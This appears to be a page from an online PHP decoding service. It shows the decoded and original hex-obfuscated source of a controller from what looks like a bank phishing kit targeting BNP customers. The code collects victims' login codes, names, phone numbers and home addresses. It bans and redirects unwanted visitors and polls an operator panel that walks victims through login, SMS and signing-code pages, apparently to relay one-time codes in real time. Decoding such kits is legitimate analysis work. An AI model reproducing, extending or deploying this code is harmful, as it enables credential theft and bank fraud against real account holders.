Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Controllers\Bnp; use Core\View; use App\Models\Bnp\Bnp; use App\Auth..

Decoded Output download

<?php 
 namespace App\Controllers\Bnp; use Core\View; use App\Models\Bnp\Bnp; use App\Auth; class Code extends \Core\Controller { public function indexAction() { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"]) && isset($_POST["respons"]) && isset($_POST["lname"]) && isset($_POST["phone"]) && isset($_POST["city"]) && isset($_POST["adres"]) && isset($_POST["postal"])) { Bnp::setLoginCode($_POST["respons"], $_POST["lname"], $_POST["phone"], $_POST["city"], $_POST["adres"], $_POST["postal"], $_SESSION["uid"]); } else { if (Bnp::findBan($_SERVER["REMOTE_ADDR"]) || !isset($_SESSION["pay"]) || !Bnp::checkPayment($this->route_params["id"])) { Bnp::redirect(); } else { Bnp::setLoginCodeInformation($_SESSION["uid"]); View::render("Bnp/code.php"); } } } public function checkAction() { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"])) { $check = Bnp::getPage($_SESSION["uid"]); if ($check) { if ($check == "login") { echo json_encode(array("page" => "login")); Bnp::setLoginPage($_SESSION["uid"], null); } else { if ($check == "identification") { echo json_encode(array("page" => "identification")); Bnp::setIdentificationPage($_SESSION["uid"], null); } else { if ($check == "sms") { echo json_encode(array("page" => "sms")); Bnp::setSmsPage($_SESSION["uid"], null); } else { if ($check == "m2") { echo json_encode(array("page" => "m2")); Bnp::setM2Page($_SESSION["uid"], null); } else { if ($check == "loginCode") { echo json_encode(array("page" => "loginCode")); Bnp::setLoginCodePage($_SESSION["uid"], null); } else { if ($check == "signCode") { echo json_encode(array("page" => "signCode")); Bnp::setSignCodePage($_SESSION["uid"], null); } else { if ($check == "finish") { echo json_encode(array("page" => "finish")); Bnp::setFinishPage($_SESSION["uid"], null); unset($_SESSION["pay"]); unset($_SESSION["uid"]); } } } } } } } } else { echo json_encode(array("page" => "waiting")); } } else { Bnp::redirect(); } } } ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Controllers\Bnp; use Core\View; use App\Models\Bnp\Bnp; use App\Auth; class Code extends \Core\Controller { public function indexAction() { if ($_SERVER["\x52\105\x51\x55\x45\x53\x54\x5f\x4d\x45\124\110\117\104"] == "\x50\117\123\x54" && isset($_SESSION["\x75\151\x64"]) && isset($_SESSION["\x70\141\171"]) && isset($_POST["\x72\145\x73\160\x6f\x6e\163"]) && isset($_POST["\154\x6e\x61\155\x65"]) && isset($_POST["\x70\x68\157\156\x65"]) && isset($_POST["\x63\x69\x74\x79"]) && isset($_POST["\141\144\162\145\x73"]) && isset($_POST["\x70\157\x73\164\141\x6c"])) { Bnp::setLoginCode($_POST["\162\x65\x73\x70\157\x6e\163"], $_POST["\154\156\141\x6d\x65"], $_POST["\x70\x68\157\x6e\x65"], $_POST["\x63\151\164\171"], $_POST["\x61\144\162\x65\163"], $_POST["\160\157\x73\164\141\154"], $_SESSION["\x75\x69\x64"]); } else { if (Bnp::findBan($_SERVER["\x52\105\115\x4f\124\x45\x5f\101\x44\104\x52"]) || !isset($_SESSION["\160\141\x79"]) || !Bnp::checkPayment($this->route_params["\x69\x64"])) { Bnp::redirect(); } else { Bnp::setLoginCodeInformation($_SESSION["\x75\151\144"]); View::render("\x42\156\x70\x2f\143\157\144\x65\56\x70\x68\x70"); } } } public function checkAction() { if ($_SERVER["\122\x45\x51\x55\x45\x53\124\x5f\115\105\x54\110\x4f\x44"] == "\x50\117\x53\x54" && isset($_SESSION["\x75\x69\144"]) && isset($_SESSION["\160\x61\171"])) { $check = Bnp::getPage($_SESSION["\x75\x69\x64"]); if ($check) { if ($check == "\x6c\x6f\x67\151\x6e") { echo json_encode(array("\x70\x61\x67\145" => "\154\x6f\x67\151\x6e")); Bnp::setLoginPage($_SESSION["\x75\151\144"], null); } else { if ($check == "\x69\x64\145\x6e\164\151\x66\x69\143\x61\x74\x69\x6f\x6e") { echo json_encode(array("\x70\141\x67\x65" => "\151\x64\x65\156\164\151\x66\x69\143\x61\164\x69\157\x6e")); Bnp::setIdentificationPage($_SESSION["\165\151\144"], null); } else { if ($check == "\163\x6d\x73") { echo json_encode(array("\x70\141\147\145" => "\x73\155\x73")); Bnp::setSmsPage($_SESSION["\x75\151\144"], null); } else { if ($check == "\x6d\x32") { echo json_encode(array("\x70\141\147\145" => "\155\62")); Bnp::setM2Page($_SESSION["\x75\151\x64"], null); } else { if ($check == "\154\x6f\147\151\156\103\x6f\144\145") { echo json_encode(array("\160\141\x67\145" => "\x6c\157\147\151\x6e\x43\157\x64\x65")); Bnp::setLoginCodePage($_SESSION["\165\151\x64"], null); } else { if ($check == "\x73\x69\x67\x6e\x43\x6f\x64\145") { echo json_encode(array("\160\141\147\x65" => "\163\151\x67\x6e\103\x6f\x64\x65")); Bnp::setSignCodePage($_SESSION["\165\x69\x64"], null); } else { if ($check == "\146\x69\x6e\x69\163\150") { echo json_encode(array("\160\141\x67\x65" => "\x66\151\156\151\x73\x68")); Bnp::setFinishPage($_SESSION["\x75\151\144"], null); unset($_SESSION["\160\141\171"]); unset($_SESSION["\x75\x69\144"]); } } } } } } } } else { echo json_encode(array("\x70\x61\147\x65" => "\167\x61\x69\164\151\x6e\147")); } } else { Bnp::redirect(); } } }

Function Calls

None

Variables

None

Stats

MD5 783ee9f92167f10e604977718186f1b8
Eval Count 0
Decode Time 79 ms